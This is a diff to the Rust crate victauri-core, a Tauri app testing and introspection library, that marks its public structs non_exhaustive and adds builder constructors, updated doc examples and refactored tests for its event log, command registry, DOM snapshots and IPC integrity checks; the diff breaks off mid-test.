index 735f0d28..798b0993 100644 --- a/crates/victauri-core/src/registry.rs +++ b/crates/victauri-core/src/registry.rs @@ -9,6 +9,7 @@ use serde::{Deserialize, Serialize}; /// Metadata for a registered Tauri command, including intent and schema information. #[derive(Debug, Clone, Eq, PartialEq, Serialize, Deserialize)] +#[non_exhaustive] pub struct CommandInfo { /// Fully qualified command name (e.g. "`get_settings`"). pub name: String, @@ -32,6 +33,7 @@ pub struct CommandInfo { /// Schema for a single argument of a registered command. #[derive(Debug, Clone, Eq, PartialEq, Serialize, Deserialize)] +#[non_exhaustive] pub struct CommandArg { /// Argument name as declared in the Rust function signature. pub name: String, @@ -99,6 +101,87 @@ impl CommandInfo { self.category = Some(category.into()); self } + + /// Sets the plugin namespace. + #[must_use] + pub fn with_plugin(mut self, plugin: impl Into) -> Self { + self.plugin = Some(plugin.into()); + self + } + + /// Replaces the argument list. + #[must_use] + pub fn with_args(mut self, args: Vec) -> Self { + self.args = args; + self + } + + /// Appends one argument. + #[must_use] + pub fn with_arg(mut self, arg: CommandArg) -> Self { + self.args.push(arg); + self + } + + /// Sets the Rust return type string. + #[must_use] + pub fn with_return_type(mut self, return_type: impl Into) -> Self { + self.return_type = Some(return_type.into()); + self + } + + /// Sets whether the command handler is async. + #[must_use] + pub fn with_async(mut self, is_async: bool) -> Self { + self.is_async = is_async; + self + } + + /// Replaces the example natural-language queries. + #[must_use] + pub fn with_examples(mut self, examples: Vec) -> Self { + self.examples = examples; + self + } + + /// Appends one example natural-language query. + #[must_use] + pub fn with_example(mut self, example: impl Into) -> Self { + self.examples.push(example.into()); + self + } +} + +impl CommandArg { + /// Creates an argument schema with no JSON Schema attached. + /// + /// # Examples + /// + /// ``` + /// use victauri_core::{CommandArg, CommandInfo}; + /// + /// let cmd = CommandInfo::new("greet") + /// .with_arg(CommandArg::new("name", "String", true)) + /// .with_return_type("String"); + /// assert_eq!(cmd.args[0].name, "name"); + /// assert!(cmd.args[0].required); + /// ``` + #[must_use] + pub fn new(name: impl Into, type_name: impl Into, required: bool) -> Self { + Self { + name: name.into(), + type_name: type_name.into(), + required, + schema: None, + } + } + + /// Attaches a JSON Schema describing the argument's expected shape. + #[must_use] + pub fn with_schema(mut self, schema: serde_json::Value) -> Self { + self.schema = Some(schema); + self + } } /// Thread-safe registry of known Tauri commands, indexed by name. @@ -297,6 +380,7 @@ impl Default for CommandRegistry { /// A command paired with its relevance score from natural-language resolution. #[derive(Debug, Clone, Serialize, Deserialize)] +#[non_exhaustive] pub struct ScoredCommand { /// The matched command metadata. pub command: CommandInfo, diff --git a/crates/victauri-core/src/snapshot.rs b/crates/victauri-core/src/snapshot.rs index 7a86cb81..bc87cf67 100644 --- a/crates/victauri-core/src/snapshot.rs +++ b/crates/victauri-core/src/snapshot.rs @@ -4,6 +4,7 @@ use serde::{Deserialize, Serialize}; /// Current state of a Tauri window including geometry, visibility, and loaded URL. #[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)] +#[non_exhaustive] pub struct WindowState { /// Tauri window label (e.g. "main", "notification"). pub label: String, @@ -29,6 +30,7 @@ pub struct WindowState { /// A point-in-time snapshot of the DOM accessible tree from a specific webview. #[derive(Debug, Clone, PartialEq, Serialize, Deserialize)] +#[non_exhaustive] pub struct DomSnapshot { /// Label of the webview this snapshot was taken from. pub webview_label: String, @@ -40,6 +42,7 @@ pub struct DomSnapshot { /// A single element in the accessible DOM tree with semantic metadata and ref handle. #[derive(Debug, Clone, PartialEq, Serialize, Deserialize)] +#[non_exhaustive] pub struct DomElement { /// Unique ref handle for this element (e.g. "e3"), used to target interactions. pub ref_id: String, @@ -69,6 +72,7 @@ pub struct DomElement { /// Pixel-level bounding rectangle of a DOM element relative to the viewport. #[derive(Debug, Clone, PartialEq, Serialize, Deserialize)] +#[non_exhaustive] pub struct ElementBounds { /// Left edge offset from viewport origin. pub x: f64, @@ -80,33 +84,127 @@ pub struct ElementBounds { pub height: f64, } +impl WindowState { + /// Creates a window state for `label` with every other field zeroed + /// (empty title/URL, not visible/focused/maximized/minimized/fullscreen, + /// position `(0, 0)`, size `(0, 0)`). Chain the `with_*` setters to fill it in. + /// + /// `WindowState` is `#[non_exhaustive]`; `victauri_plugin::bridge::WebviewBridge` + /// implementors and mock bridges outside this crate build it through this constructor. + /// + /// # Examples + /// + /// ``` + /// use victauri_core::WindowState; + /// + /// let w = WindowState::new("main") + /// .with_title("My App") + /// .with_url("http://localhost/") + /// .with_visible(true) + /// .with_size(800, 600); + /// assert_eq!(w.label, "main"); + /// assert_eq!(w.size, (800, 600)); + /// assert!(!w.focused); + /// ``` + #[must_use] + pub fn new(label: impl Into) -> Self { + Self { + label: label.into(), + title: String::new(), + url: String::new(), + visible: false, + focused: false, + maximized: false, + minimized: false, + fullscreen: false, + position: (0, 0), + size: (0, 0), + } + } + + /// Sets the window title. + #[must_use] + pub fn with_title(mut self, title: impl Into) -> Self { + self.title = title.into(); + self + } + + /// Sets the URL loaded in the webview. + #[must_use] + pub fn with_url(mut self, url: impl Into) -> Self { + self.url = url.into(); + self + } + + /// Sets whether the window is visible. + #[must_use] + pub fn with_visible(mut self, visible: bool) -> Self { + self.visible = visible; + self + } + + /// Sets whether the window has input focus. + #[must_use] + pub fn with_focused(mut self, focused: bool) -> Self { + self.focused = focused; + self + } + + /// Sets whether the window is maximized. + #[must_use] + pub fn with_maximized(mut self, maximized: bool) -> Self { + self.maximized = maximized; + self + } + + /// Sets whether the window is minimized. + #[must_use] + pub fn with_minimized(mut self, minimized: bool) -> Self { + self.minimized = minimized; + self + } + + /// Sets whether the window is fullscreen. + #[must_use] + pub fn with_fullscreen(mut self, fullscreen: bool) -> Self { + self.fullscreen = fullscreen; + self + } + + /// Sets the window position in screen coordinates. + #[must_use] + pub fn with_position(mut self, x: i32, y: i32) -> Self { + self.position = (x, y); + self + } + + /// Sets the window size in pixels. + #[must_use] + pub fn with_size(mut self, width: u32, height: u32) -> Self { + self.size = (width, height); + self + } +} + impl DomSnapshot { /// Renders the snapshot as indented accessible text (roles, names, and ref handles). /// /// # Examples /// /// ``` - /// use victauri_core::{DomSnapshot, DomElement}; - /// use std::collections::BTreeMap; + /// use victauri_core::DomSnapshot; /// - /// let snapshot = DomSnapshot { - /// webview_label: "main".to_string(), - /// elements: vec![DomElement { - /// ref_id: "e1".to_string(), - /// tag: "button".to_string(), - /// role: Some("button".to_string()), - /// name: Some("Submit".to_string()), - /// text: None, - /// value: None, - /// enabled: true, - /// visible: true, - /// focusable: true, - /// bounds: None, - /// children: vec![], - /// attributes: BTreeMap::new(), + /// // Snapshots are produced by the webview bridge; here one is parsed from JSON. + /// let snapshot: DomSnapshot = serde_json::from_value(serde_json::json!({ + /// "webview_label": "main", + /// "elements": [{ + /// "ref_id": "e1", "tag": "button", "role": "button", "name": "Submit", + /// "text": null, "value": null, "enabled": true, "visible": true, + /// "focusable": true, "bounds": null, "children": [], "attributes": {} /// }], - /// ref_map: BTreeMap::new(), - /// }; + /// "ref_map": {} + /// })) + /// .unwrap(); /// let text = snapshot.to_accessible_text(0); /// assert!(text.contains("button")); /// assert!(text.contains("Submit")); diff --git a/crates/victauri-core/src/types.rs b/crates/victauri-core/src/types.rs index b63b2675..0915fbf8 100644 --- a/crates/victauri-core/src/types.rs +++ b/crates/victauri-core/src/types.rs @@ -6,6 +6,7 @@ use serde::{Deserialize, Serialize}; /// A short-lived handle to a DOM element, identified by a semantic ref rather than a CSS selector. #[derive(Debug, Clone, Eq, PartialEq, Serialize, Deserialize)] +#[non_exhaustive] pub struct RefHandle { /// Unique ref identifier (e.g. "e3") assigned during DOM snapshot. pub id: String, @@ -19,6 +20,7 @@ pub struct RefHandle { /// Memory usage delta measured before and after a command execution. #[derive(Debug, Clone, Eq, PartialEq, Serialize, Deserialize)] +#[non_exhaustive] pub struct MemoryDelta { /// Allocated bytes before the command ran. pub before_bytes: i64, @@ -35,18 +37,14 @@ pub struct MemoryDelta { /// # Examples /// /// ``` -/// use victauri_core::VerificationResult; +/// use victauri_core::verify_state; /// use serde_json::json; /// -/// let result = VerificationResult { -/// passed: true, -/// frontend_state: json!({"count": 1}), -/// backend_state: json!({"count": 1}), -/// divergences: vec![], -/// }; +/// let result = verify_state(json!({"count": 1}), json!({"count": 1})); /// assert!(result.passed); /// ``` #[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)] +#[non_exhaustive] pub struct VerificationResult { /// True if no divergences were found between frontend and backend state. pub passed: bool, @@ -60,6 +58,7 @@ pub struct VerificationResult { /// A single mismatch between frontend and backend state at a specific JSON path. #[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)] +#[non_exhaustive] pub struct Divergence { /// Dot-separated JSON path where the mismatch occurs (e.g. "settings.theme"). pub path: String, @@ -107,30 +106,13 @@ impl fmt::Display for Divergence { /// # Examples /// /// ``` -/// use victauri_core::{VerificationResult, Divergence, DivergenceSeverity}; +/// use victauri_core::verify_state; /// use serde_json::json; /// -/// let passed = VerificationResult { -/// passed: true, -/// frontend_state: json!({}), -/// backend_state: json!({}), -/// divergences: vec![], -/// }; +/// let passed = verify_state(json!({}), json!({})); /// assert_eq!(passed.to_string(), "verification passed"); /// -/// let failed = VerificationResult { -/// passed: false, -/// frontend_state: json!({"a": 1}), -/// backend_state: json!({"a": 2}), -/// divergences: vec![ -/// Divergence { -/// path: "a".to_string(), -/// frontend_value: json!(1), -/// backend_value: json!(2), -/// severity: DivergenceSeverity::Error, -/// }, -/// ], -/// }; +/// let failed = verify_state(json!({"a": 1}), json!({"a": 2})); /// assert_eq!(failed.to_string(), "verification failed: 1 divergence(s)"); /// ``` impl fmt::Display for VerificationResult { diff --git a/crates/victauri-core/src/verification.rs b/crates/victauri-core/src/verification.rs index 70505a60..7b15aad6 100644 --- a/crates/victauri-core/src/verification.rs +++ b/crates/victauri-core/src/verification.rs @@ -187,6 +187,7 @@ fn classify_severity( /// with a `reliability` signal for exactly this reason. `registry_only` is purely /// informational (registered handlers never invoked during the observation window). #[derive(Debug, Clone, Eq, PartialEq, Serialize, Deserialize)] +#[non_exhaustive] pub struct GhostCommandReport { /// Commands invoked from the frontend but absent from Victauri's introspection /// registry. A *candidate* ghost — only a real ghost if the registry is complete. @@ -201,6 +202,7 @@ pub struct GhostCommandReport { /// A command that exists on only one side of the frontend/backend boundary. #[derive(Debug, Clone, Eq, PartialEq, Serialize, Deserialize)] +#[non_exhaustive] pub struct GhostCommand { /// Command name as invoked or registered. pub name: String, @@ -241,20 +243,13 @@ impl fmt::Display for GhostCommand { /// # Examples /// /// ``` -/// use victauri_core::{GhostCommandReport, GhostCommand, GhostSource}; +/// use victauri_core::{CommandInfo, CommandRegistry, detect_ghost_commands}; /// -/// let report = GhostCommandReport { -/// frontend_only: vec![ -/// GhostCommand { -/// name: "delete".to_string(), -/// source: GhostSource::FrontendOnly, -/// description: None, -/// }, -/// ], -/// registry_only: vec![], -/// total_frontend_commands: 3, -/// total_registry_commands: 2, -/// }; +/// let registry = CommandRegistry::new(); +/// registry.register(CommandInfo::new("a")); +/// registry.register(CommandInfo::new("b")); +/// let frontend = ["a", "b", "delete"].map(String::from); +/// let report = detect_ghost_commands(&frontend, ®istry); /// assert_eq!( /// report.to_string(), /// "1 ghost command(s) (3 frontend, 2 registry)" @@ -275,30 +270,24 @@ impl fmt::Display for GhostCommandReport { /// /// ``` /// use victauri_core::verification::IpcIntegrityReport; +/// use serde_json::json; /// -/// let healthy = IpcIntegrityReport { -/// total_calls: 10, -/// completed: 10, -/// pending: 0, -/// errored: 0, -/// stale_calls: vec![], -/// error_calls: vec![], -/// healthy: true, -/// }; +/// // Reports come from `check_ipc_integrity`; parsed from JSON here to show both states. +/// let healthy: IpcIntegrityReport = serde_json::from_value(json!({ +/// "total_calls": 10, "completed": 10, "pending": 0, "errored": 0, +/// "stale_calls": [], "error_calls": [], "healthy": true +/// })) +/// .unwrap(); /// assert_eq!( /// healthy.to_string(), /// "IPC healthy: 10/10 completed" /// ); /// -/// let unhealthy = IpcIntegrityReport { -/// total_calls: 10, -/// completed: 7, -/// pending: 2, -/// errored: 1, -/// stale_calls: vec![], -/// error_calls: vec![], -/// healthy: false, -/// }; +/// let unhealthy: IpcIntegrityReport = serde_json::from_value(json!({ +/// "total_calls": 10, "completed": 7, "pending": 2, "errored": 1, +/// "stale_calls": [], "error_calls": [], "healthy": false +/// })) +/// .unwrap(); /// assert_eq!( /// unhealthy.to_string(), /// "IPC unhealthy: 0 stale, 1 errored of 10 calls" @@ -398,6 +387,7 @@ pub fn detect_ghost_commands( /// Summary of IPC round-trip health: completed, pending, errored, and stale calls. #[derive(Debug, Clone, Eq, PartialEq, Serialize, Deserialize)] +#[non_exhaustive] pub struct IpcIntegrityReport { /// Total number of IPC calls analyzed. pub total_calls: usize, @@ -417,6 +407,7 @@ pub struct IpcIntegrityReport { /// An IPC call that has been pending longer than the staleness threshold. #[derive(Debug, Clone, Eq, PartialEq, Serialize, Deserialize)] +#[non_exhaustive] pub struct StaleCall { /// Unique call identifier. pub id: String, @@ -432,6 +423,7 @@ pub struct StaleCall { /// An IPC call that returned an error result. #[derive(Debug, Clone, Eq, PartialEq, Serialize, Deserialize)] +#[non_exhaustive] pub struct ErrorCall { /// Unique call identifier. pub id: String, @@ -579,6 +571,7 @@ impl std::fmt::Display for AssertionCondition { /// A declarative assertion to evaluate against a runtime value (e.g. "equals", "truthy"). #[derive(Debug, Clone, Eq, PartialEq, Serialize, Deserialize)] +#[non_exhaustive] pub struct SemanticAssertion { /// Human-readable label describing what is being asserted. pub label: String, @@ -588,8 +581,34 @@ pub struct SemanticAssertion { pub expected: serde_json::Value, } +impl SemanticAssertion { + /// Creates an assertion with the given label, condition, and expected value. + /// + /// # Examples + /// + /// ``` + /// use victauri_core::{AssertionCondition, SemanticAssertion}; + /// + /// let a = SemanticAssertion::new("count", AssertionCondition::Equals, serde_json::json!(3)); + /// assert_eq!(a.label, "count"); + /// ``` + #[must_use] + pub fn new( + label: impl Into, + condition: AssertionCondition, + expected: serde_json::Value, + ) -> Self { + Self { + label: label.into(), + condition, + expected, + } + } +} + /// Outcome of evaluating a semantic assertion against an actual value. #[derive(Debug, Clone, Eq, PartialEq, Serialize, Deserialize)] +#[non_exhaustive] pub struct AssertionResult { /// Label from the original assertion. pub label: String, @@ -627,11 +646,7 @@ fn values_equal(a: &serde_json::Value, b: &serde_json::Value) -> bool { /// use victauri_core::verification::{evaluate_assertion, AssertionCondition, SemanticAssertion}; /// use serde_json::json; /// -/// let assertion = SemanticAssertion { -/// label: "check count".to_string(), -/// condition: AssertionCondition::Equals, -/// expected: json!(42), -/// }; +/// let assertion = SemanticAssertion::new("check count", AssertionCondition::Equals, json!(42)); /// let result = evaluate_assertion(json!(42), &assertion); /// assert!(result.passed); /// ``` diff --git a/crates/victauri-core/tests/codegen_compile_test.rs b/crates/victauri-core/tests/codegen_compile_test.rs index b4c27e73..67330766 100644 --- a/crates/victauri-core/tests/codegen_compile_test.rs +++ b/crates/victauri-core/tests/codegen_compile_test.rs @@ -11,12 +11,7 @@ use victauri_core::recording::{RecordedEvent, RecordedSession}; use victauri_core::{generate_test, generate_test_default}; fn make_session(events: Vec) -> RecordedSession { - RecordedSession { - id: "codegen-drift-test".to_string(), - started_at: Utc::now(), - events, - checkpoints: vec![], - } + RecordedSession::new("codegen-drift-test".to_string(), Utc::now(), events, vec![]) } fn interaction( @@ -27,17 +22,17 @@ fn interaction( offset_ms: i64, ) -> RecordedEvent { let ts = Utc::now() + Duration::milliseconds(offset_ms); - RecordedEvent { + RecordedEvent::new( index, - timestamp: ts, - event: AppEvent::DomInteraction { + ts, + AppEvent::dom_interaction( action, - selector: selector.to_string(), - value: value.map(String::from), - timestamp: ts, - webview_label: "main".to_string(), - }, - } + selector.to_string(), + value.map(String::from), + ts, + "main".to_string(), + ), + ) } /// The canonical set of `VictauriClient` method names. If the client adds or diff --git a/crates/victauri-core/tests/core_tests.rs b/crates/victauri-core/tests/core_tests.rs index 86cce57c..a418058f 100644 --- a/crates/victauri-core/tests/core_tests.rs +++ b/crates/victauri-core/tests/core_tests.rs @@ -3,20 +3,32 @@ use std::collections::BTreeMap; use std::sync::Arc; use victauri_core::*; +/// Builds a `#[non_exhaustive]` output type (e.g. `DomSnapshot`, `VerificationResult`) +/// from named fields. These types are produced by victauri, never constructed by +/// consumers, so outside the crate the only way to fabricate one is through serde — +/// exactly how a client receives them. +macro_rules! lit { + ($t:path { $($f:ident : $v:expr),* $(,)? }) => {{ + let mut map = serde_json::Map::new(); + $( map.insert(stringify!($f).to_owned(), serde_json::to_value($v).expect("serialize field")); )* + serde_json::from_value::<$t>(serde_json::Value::Object(map)).expect("build literal") + }}; +} + #[test] fn event_log_push_and_snapshot() { let log = EventLog::new(100); assert!(log.is_empty()); - log.push(AppEvent::Ipc(IpcCall { - id: "1".to_string(), - command: "test_cmd".to_string(), - timestamp: Utc::now(), - duration_ms: Some(5), - result: event::IpcResult::Ok(serde_json::json!(42)), - arg_size_bytes: 10, - webview_label: "main".to_string(), - })); + log.push(AppEvent::Ipc(IpcCall::new( + "1".to_string(), + "test_cmd".to_string(), + Utc::now(), + event::IpcResult::Ok(serde_json::json!(42)), + Some(5), + 10, + "main".to_string(), + ))); assert_eq!(log.len(), 1); assert!(!log.is_empty()); @@ -37,15 +49,15 @@ fn event_log_ring_buffer_eviction() { let log = EventLog::new(3); for i in 0..5 { - log.push(AppEvent::Ipc(IpcCall { - id: i.to_string(), - command: format!("cmd_{i}"), - timestamp: Utc::now(), - duration_ms: None, - result: event::IpcResult::Pending, - arg_size_bytes: 0, - webview_label: "main".to_string(), - })); + log.push(AppEvent::Ipc(IpcCall::new( + i.to_string(), + format!("cmd_{i}"), + Utc::now(), + event::IpcResult::Pending, + None, + 0, + "main".to_string(), + ))); } assert_eq!(log.len(), 3); @@ -59,31 +71,27 @@ fn event_log_ring_buffer_eviction() { fn event_log_ipc_calls_filter() { let log = EventLog::new(100); - log.push(AppEvent::Ipc(IpcCall { - id: "1".to_string(), - command: "save".to_string(), - timestamp: Utc::now(), - duration_ms: None, - result: event::IpcResult::Pending, - arg_size_bytes: 0, - webview_label: "main".to_string(), - })); - - log.push(AppEvent::StateChange { - key: "user".to_string(), - timestamp: Utc::now(), - caused_by: None, - }); - - log.push(AppEvent::Ipc(IpcCall { - id: "2".to_string(), - command: "load".to_string(), - timestamp: Utc::now(), - duration_ms: Some(10), - result: event::IpcResult::Ok(serde_json::json!("data")), - arg_size_bytes: 5, - webview_label: "main".to_string(), - })); + log.push(AppEvent::Ipc(IpcCall::new( + "1".to_string(), + "save".to_string(), + Utc::now(), + event::IpcResult::Pending, + None, + 0, + "main".to_string(), + ))); + + log.push(AppEvent::state_change("user".to_string(), Utc::now(), None)); + + log.push(AppEvent::Ipc(IpcCall::new( + "2".to_string(), + "load".to_string(), + Utc::now(), + event::IpcResult::Ok(serde_json::json!("data")), + Some(10), + 5, + "main".to_string(), + ))); assert_eq!(log.len(), 3); let ipc_only = log.ipc_calls(); @@ -95,11 +103,11 @@ fn event_log_ipc_calls_filter() { #[test] fn event_log_clear() { let log = EventLog::new(100); - log.push(AppEvent::WindowEvent { - label: "main".to_string(), - event: "focus".to_string(), - timestamp: Utc::now(), - }); + log.push(AppEvent::window_event( + "main".to_string(), + "focus".to_string(), + Utc::now(), + )); assert_eq!(log.len(), 1); log.clear(); assert!(log.is_empty()); @@ -111,12 +119,11 @@ fn command_registry_register_and_list() { assert_eq!(registry.count(), 0); let mut cmd = CommandInfo::new("save_file").with_description("Save a file to disk"); - cmd.args = vec![CommandArg { - name: "path".to_string(), - type_name: "String".to_string(), - required: true, - schema: None, - }]; + cmd.args = vec![CommandArg::new( + "path".to_string(), + "String".to_string(), + true, + )]; cmd.return_type = Some("Result<(), String>".to_string()); cmd.is_async = true; registry.register(cmd); @@ -151,53 +158,53 @@ fn command_registry_search() { #[test] fn dom_snapshot_accessible_text() { - let snapshot = DomSnapshot { + let snapshot = lit!(DomSnapshot { webview_label: "main".to_string(), - elements: vec![DomElement { + elements: vec![lit!(DomElement { ref_id: "e0".to_string(), tag: "div".to_string(), role: Some("main".to_string()), name: Some("Content".to_string()), - text: None, - value: None, + text: Option::<()>::None, + value: Option::<()>::None, enabled: true, visible: true, focusable: false, - bounds: None, + bounds: Option::<()>::None, children: vec![ - DomElement { + lit!(DomElement { ref_id: "e1".to_string(), tag: "button".to_string(), role: Some("button".to_string()), name: Some("Submit".to_string()), text: Some("Submit".to_string()), - value: None, + value: Option::<()>::None, enabled: true, visible: true, focusable: true, - bounds: None, - children: vec![], - attributes: BTreeMap::new(), - }, - DomElement { + bounds: Option::<()>::None, + children: Vec::<()>::new(), + attributes: BTreeMap::::new(), + }), + lit!(DomElement { ref_id: "e2".to_string(), tag: "input".to_string(), role: Some("textbox".to_string()), name: Some("Email".to_string()), - text: None, - value: None, + text: Option::<()>::None, + value: Option::<()>::None, enabled: true, visible: true, focusable: true, - bounds: None, - children: vec![], - attributes: BTreeMap::new(), - }, + bounds: Option::<()>::None, + children: Vec::<()>::new(), + attributes: BTreeMap::::new(), + }), ], - attributes: BTreeMap::new(), - }], - ref_map: BTreeMap::new(), - }; + attributes: BTreeMap::::new(), + })], + ref_map: BTreeMap::::new(), + }); let text = snapshot.to_accessible_text(0); assert!(text.contains("main \"Content\"")); @@ -207,24 +214,24 @@ fn dom_snapshot_accessible_text() { #[test] fn dom_snapshot_hides_invisible() { - let snapshot = DomSnapshot { + let snapshot = lit!(DomSnapshot { webview_label: "main".to_string(), - elements: vec![DomElement { + elements: vec![lit!(DomElement { ref_id: "e0".to_string(), tag: "div".to_string(), - role: None, - name: None, - text: None, - value: None, + role: Option::<()>::None, + name: Option::<()>::None, + text: Option::<()>::None, + value: Option::<()>::None, enabled: true, visible: false, focusable: false, - bounds: None, - children: vec![], - attributes: BTreeMap::new(), - }], - ref_map: BTreeMap::new(), - }; + bounds: Option::<()>::None, + children: Vec::<()>::new(), + attributes: BTreeMap::::new(), + })], + ref_map: BTreeMap::::new(), + }); let text = snapshot.to_accessible_text(0); assert!(text.is_empty()); @@ -232,18 +239,16 @@ fn dom_snapshot_hides_invisible() { #[test] fn window_state_serialization() { - let state = WindowState { - label: "main".to_string(), - title: "My App".to_string(), - url: "tauri://localhost".to_string(), - visible: true, - focused: true, - maximized: false, - minimized: false, - fullscreen: false, - position: (100, 200), - size: (800, 600), - }; + let state = WindowState::new("main".to_string()) + .with_title("My App".to_string()) + .with_url("tauri://localhost".to_string()) + .with_visible(true) + .with_focused(true) + .with_maximized(false) + .with_minimized(false) + .with_fullscreen(false) + .with_position(100, 200) + .with_size(800, 600); let json = serde_json::to_string(&state).unwrap(); let deserialized: WindowState = serde_json::from_str(&json).unwrap(); @@ -256,17 +261,17 @@ fn window_state_serialization() { fn verification_result_with_divergences() { use victauri_core::types::{Divergence, DivergenceSeverity, VerificationResult}; - let result = VerificationResult { + let result = lit!(VerificationResult { passed: false, frontend_state: serde_json::json!({"count": 5}), backend_state: serde_json::json!({"count": 3}), - divergences: vec![Divergence { + divergences: vec![lit!(Divergence { path: "count".to_string(), frontend_value: serde_json::json!(5), backend_value: serde_json::json!(3), severity: DivergenceSeverity::Error, - }], - }; + })], + }); assert!(!result.passed); assert_eq!(result.divergences.len(), 1); @@ -438,24 +443,24 @@ fn ghost_commands_bidirectional() { #[test] fn ipc_integrity_healthy() { let log = EventLog::new(100); - log.push(AppEvent::Ipc(IpcCall { - id: "1".to_string(), - command: "save".to_string(), - timestamp: Utc::now(), - duration_ms: Some(5), - result: event::IpcResult::Ok(serde_json::json!("ok")), - arg_size_bytes: 10, - webview_label: "main".to_string(), - })); - log.push(AppEvent::Ipc(IpcCall { - id: "2".to_string(), - command: "load".to_string(), - timestamp: Utc::now(), - duration_ms: Some(3), - result: event::IpcResult::Ok(serde_json::json!("data")), - arg_size_bytes: 0, - webview_label: "main".to_string(), - })); + log.push(AppEvent::Ipc(IpcCall::new( + "1".to_string(), + "save".to_string(), + Utc::now(), + event::IpcResult::Ok(serde_json::json!("ok")), + Some(5), + 10, + "main".to_string(), + ))); + log.push(AppEvent::Ipc(IpcCall::new( + "2".to_string(), + "load".to_string(), + Utc::now(), + event::IpcResult::Ok(serde_json::json!("data")), + Some(3), + 0, + "main".to_string(), + ))); let report = victauri_core::check_ipc_integrity(&log, 5000); assert!(report.healthy); @@ -470,15 +475,15 @@ fn ipc_integrity_healthy() { #[test] fn ipc_integrity_with_errors() { let log = EventLog::new(100); - log.push(AppEvent::Ipc(IpcCall { - id: "1".to_string(), - command: "save".to_string(), - timestamp: Utc::now(), - duration_ms: Some(5), - result: event::IpcResult::Err("permission denied".to_string()), - arg_size_bytes: 10, - webview_label: "main".to_string(), - })); + log.push(AppEvent::Ipc(IpcCall::new( + "1".to_string(), + "save".to_string(), + Utc::now(), + event::IpcResult::Err("permission denied".to_string()), + Some(5), + 10, + "main".to_string(), + ))); let report = victauri_core::check_ipc_integrity(&log, 5000); assert!(!report.healthy); @@ -492,15 +497,15 @@ fn ipc_integrity_with_errors() { fn ipc_integrity_stale_pending() { let log = EventLog::new(100); let old_timestamp = Utc::now() - chrono::Duration::seconds(10); - log.push(AppEvent::Ipc(IpcCall { - id: "1".to_string(), - command: "slow_cmd".to_string(), - timestamp: old_timestamp, - duration_ms: None, - result: event::IpcResult::Pending, - arg_size_bytes: 0, - webview_label: "main".to_string(), - })); + log.push(AppEvent::Ipc(IpcCall::new( + "1".to_string(), + "slow_cmd".to_string(), + old_timestamp, + event::IpcResult::Pending, + None, + 0, + "main".to_string(), + ))); let report = victauri_core::check_ipc_integrity(&log, 5000); assert!(!report.healthy); @@ -513,15 +518,15 @@ fn ipc_integrity_stale_pending() { #[test] fn ipc_integrity_recent_pending_not_stale() { let log = EventLog::new(100); - log.push(AppEvent::Ipc(IpcCall { - id: "1".to_string(), - command: "fast_cmd".to_string(), - timestamp: Utc::now(), - duration_ms: None, - result: event::IpcResult::Pending, - arg_size_bytes: 0, - webview_label: "main".to_string(), - })); + log.push(AppEvent::Ipc(IpcCall::new( + "1".to_string(), + "fast_cmd".to_string(), + Utc::now(), + event::IpcResult::Pending, + None, + 0, + "main".to_string(), + ))); let report = victauri_core::check_ipc_integrity(&log, 5000); assert!(report.healthy); @@ -534,33 +539,33 @@ fn ipc_integrity_mixed_status() { let log = EventLog::new(100); let old = Utc::now() - chrono::Duration::seconds(30); - log.push(AppEvent::Ipc(IpcCall { - id: "1".to_string(), - command: "ok_cmd".to_string(), - timestamp: Utc::now(), - duration_ms: Some(1), - result: event::IpcResult::Ok(serde_json::json!(null)), - arg_size_bytes: 0, - webview_label: "main".to_string(), - })); - log.push(AppEvent::Ipc(IpcCall { - id: "2".to_string(), - command: "stuck_cmd".to_string(), - timestamp: old, - duration_ms: None, - result: event::IpcResult::Pending, - arg_size_bytes: 0, - webview_label: "main".to_string(), - })); - log.push(AppEvent::Ipc(IpcCall { - id: "3".to_string(), - command: "err_cmd".to_string(), - timestamp: Utc::now(), - duration_ms: Some(2), - result: event::IpcResult::Err("boom".to_string()), - arg_size_bytes: 0, - webview_label: "main".to_string(), - })); + log.push(AppEvent::Ipc(IpcCall::new( + "1".to_string(), + "ok_cmd".to_string(), + Utc::now(), + event::IpcResult::Ok(serde_json::json!(null)), + Some(1), + 0, + "main".to_string(), + ))); + log.push(AppEvent::Ipc(IpcCall::new( + "2".to_string(), + "stuck_cmd".to_string(), + old, + event::IpcResult::Pending, + None, + 0, + "main".to_string(), + ))); + log.push(AppEvent::Ipc(IpcCall::new( + "3".to_string(), + "err_cmd".to_string(), + Utc::now(), + event::IpcResult::Err("boom".to_string()), + Some(2), + 0, + "main".to_string(), + ))); let report = victauri_core::check_ipc_integrity(&log, 5000); assert!(!report.healthy); @@ -758,11 +763,11 @@ fn resolve_scores_normalized_across_query_lengths() { #[test] fn semantic_assertion_equals() { - let assertion = victauri_core::SemanticAssertion { - label: "count is 5".to_string(), - condition: victauri_core::AssertionCondition::Equals, - expected: serde_json::json!(5), - }; + let assertion = victauri_core::SemanticAssertion::new( + "count is 5".to_string(), + victauri_core::AssertionCondition::Equals, + serde_json::json!(5), + ); let pass = victauri_core::evaluate_assertion(serde_json::json!(5), &assertion); assert!(pass.passed); @@ -775,22 +780,22 @@ fn semantic_assertion_equals() { #[test] fn semantic_assertion_truthy_falsy() { - let truthy = victauri_core::SemanticAssertion { - label: "value is truthy".to_string(), - condition: victauri_core::AssertionCondition::Truthy, - expected: serde_json::Value::Null, - }; + let truthy = victauri_core::SemanticAssertion::new( + "value is truthy".to_string(), + victauri_core::AssertionCondition::Truthy, + serde_json::Value::Null, + ); assert!(victauri_core::evaluate_assertion(serde_json::json!(true), &truthy).passed); assert!(victauri_core::evaluate_assertion(serde_json::json!("hello"), &truthy).passed); assert!(victauri_core::evaluate_assertion(serde_json::json!(42), &truthy).passed); assert!(!victauri_core::evaluate_assertion(serde_json::Value::Null, &truthy).passed); - let falsy = victauri_core::SemanticAssertion { - label: "value is falsy".to_string(), - condition: victauri_core::AssertionCondition::Falsy, - expected: serde_json::Value::Null, - }; + let falsy = victauri_core::SemanticAssertion::new( + "value is falsy".to_string(), + victauri_core::AssertionCondition::Falsy, + serde_json::Value::Null, + ); assert!(victauri_core::evaluate_assertion(serde_json::Value::Null, &falsy).passed); assert!(victauri_core::evaluate_assertion(serde_json::json!(false), &falsy).passed); @@ -800,11 +805,11 @@ fn semantic_assertion_truthy_falsy() { #[test] fn semantic_assertion_contains() { - let assertion = victauri_core::SemanticAssertion { - label: "string contains hello".to_string(), - condition: victauri_core::AssertionCondition::Contains, - expected: serde_json::json!("hello"), - }; + let assertion = victauri_core::SemanticAssertion::new( + 